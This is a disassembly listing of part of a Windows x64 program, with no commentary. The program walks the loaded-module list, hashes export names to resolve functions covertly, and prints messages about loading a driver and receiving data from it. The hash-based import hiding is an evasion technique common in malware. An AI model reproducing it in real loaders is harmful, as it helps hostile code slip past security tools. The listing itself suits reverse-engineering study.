mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001deb2
cmp rsi, rcx
jb 0x14001decd
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001df6c
mov rcx, qword [rcx]
jmp 0x14001dd75
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001def9
nop dword [rax]
inc rsi
cmp r8b, 0x2e
jne 0x14001deec
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001dee0
movzx r8d, byte [r11]
mov ebx, 0x2bf7cf4a
mov r9d, ebx
mov r10d, r14d
test r8b, r8b
je 0x14001df5a
nop dword [rax]
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, ebx
xor eax, ebx
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001df10
mov edx, r9d
lea rcx, [rbp + 0x8b2]
call fcn.14001ef80
mov rsi, rax
xor r9d, r9d
lea r8d, [r9 + 0x10]
lea rdx, [rbp + 0x8d0]
mov rcx, qword [rsp + 0x30]
call rsi
nop
lea rdx, [rbp + 0x8d4]
lea rcx, str.pid_s_n
call fcn.140017d70
nop
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001ea82
cmp qword [rcx + 0x60], 0
je 0x14001e103
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001e103
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001ea5b
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001e018
cmp dword [rax + 0x8c], 0
jbe 0x14001e103
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001e0fa
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001e0a9
mov r12d, r8d
nop
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001e050
mov r12d, dword [r13 + 0x18]
cmp r8d, 0xeb9a2961
je 0x14001e0b5
inc ebx
cmp ebx, r12d
jae 0x14001e0f0
jmp 0x14001e028
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001e0f0
cmp rsi, rcx
jb 0x14001e10b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001e19c
mov rcx, qword [rcx]
jmp 0x14001dfb2
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001e130
inc rsi
cmp r8b, 0x2e
jne 0x14001e123
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001e117
movzx r8d, byte [r11]
mov ebx, 0x2bf7cf4a
mov r9d, ebx
mov r10d, r14d
test r8b, r8b
je 0x14001e18a
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, ebx
xor eax, ebx
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001e140
mov edx, r9d
lea rcx, [rbp + 0x8b1]
call fcn.14001ef80
mov rsi, rax
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x1080]
mov rcx, qword [rsp + 0x30]
call rsi
nop
lea rdx, [rbp + 0x1080]
lea rcx, str.Message_received_from_driver:__s_n
call fcn.140017d70
nop
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001ea34
cmp qword [rcx + 0x60], 0
je 0x14001e334
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001e334
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001ea0d
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001e24a
cmp dword [rax + 0x8c], 0
jbe 0x14001e334
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001e32b
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001e2da
mov r12d, r8d
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001e281
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x7a329ef4
je 0x14001e2e6
inc ebx
cmp ebx, r12d
jae 0x14001e321
jmp 0x14001e25a
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001e321
cmp rsi, rcx
jb 0x14001e33c
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001e3de
mov rcx, qword [rcx]
jmp 0x14001e1e4
mov r10, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001e369
nop dword [rax + rax]
inc rsi
cmp r8b, 0x2e
jne 0x14001e35c
mov r10, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001e350
movzx r8d, byte [r10]
mov r11d, 0x2bf7cf4a
mov r9d, r11d
test r8b, r8b
je 0x14001e3cc
nop word [rax + rax]
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r14 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r14d
test r14d, r14d
cmove eax, r11d
xor eax, r11d
imul r9d, eax
add r9d, edx
inc r14d
movzx r8d, byte [r14 + r10]
test r8b, r8b
jne 0x14001e380
mov edx, r9d
lea rcx, [rbp + 0x8b0]
call fcn.14001ef80
mov rsi, rax
mov rcx, qword [rsp + 0x30]
call rsi
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, str.Driver_Loaded_Sucess._n
jmp 0x14001e3fc
lea rcx, str.Error_while_loading_driver._n
call fcn.140017d70
lea rdx, [rbp + 0x8c8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
xor eax, eax
jmp 0x14001a7aa
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x690]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x690]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x6a0]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x6a0]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x698]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x698]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x6a8]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x6a8]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x6b0]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x6b0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x6b8]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x6b8]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x658]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x658]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x6c0]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x6c0]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x6c8]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x6c8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x6d0]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x6d0]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x6d8]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x6d8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x6e0]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x6e0]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x6e8]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x6e8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x6f0]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x6f0]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x6f8]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x6f8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x700]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x700]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x708]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x708]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x710]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x710]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x718]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x718]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x720]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x720]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x728]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x728]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x738]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x738]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x740]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x740]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x748]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x748]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x750]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x750]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x758]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x758]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x5a0]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x5a0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x5a8]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x5a8]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x5b0]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x5b0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x5b8]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x5b8]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x5c0]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x5c0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x5c8]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x5c8]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x5d0]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x5d0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x5d8]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x5d8]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x5e0]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x5e0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x5e8]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x5e8]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x5f0]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x5f0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x5f8]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x5f8]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x600]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x600]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x608]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x608]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x610]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x610]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x618]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x618]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x620]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x620]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x628]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x628]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x630]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x630]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x638]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x638]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x640]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x640]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x648]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x648]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x650]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x650]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x730]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x730]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x660]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x660]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x668]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x668]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x670]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x670]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x678]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x678]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x680]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x680]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.DOS_header_e_magic_mismatch
lea rcx, [rbp + 0x688]
call fcn.140017dd0
lea rdx, [0x140031610]
lea rcx, [rbp + 0x688]
call sub.VCRUNTIME140.dll__CxxThrowException
int3